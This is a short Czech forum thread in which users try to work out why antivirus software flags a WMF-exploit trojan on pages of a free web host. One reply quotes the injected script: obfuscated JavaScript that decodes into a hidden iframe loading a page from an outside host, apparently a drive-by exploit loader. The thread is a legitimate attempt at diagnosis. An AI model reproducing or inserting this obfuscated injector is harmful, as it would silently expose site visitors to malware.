Dobrý den.
Chtěl bych se zeptat na zavirovanou reklamou, která je přidávána na stránky. Jedná se o to, že po najetí na index stránku se zobrazí varování antivirového programu na Win32/Exploit.WMF trojský kůň.
třeba na www.hala.unas.cz nebo stránky kamaráda www.hpa1.unas.cz. Obojí ve spojení s NOD32, AVG 6 to projde bez hlášení
podival jsem se na stranky hala.unas.cz a nic mi to nehlasi
ve zdrojaku vidim jedinou podezrelou vec:
<SCRIPT Language="JavaScript">
eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%3D%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%34%3B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));d("8mbveia$sm`pl9#6#$lamclp9#6#$fkv`av9#4#$bveiafkv`av9#4#$wvg9#lppt>++wmjkj*fm~+tmg+BEV056R@05*tlt#:8+mbveia:");
</SCRIPT>
a to s reklamou od wz nema nic spolecneho
http://www.asw.cz/cze/wmf_exploit.html
No to je taky divné, doma ve zdrojáku nic takového nemám, vloží se to na začátek dokumentu...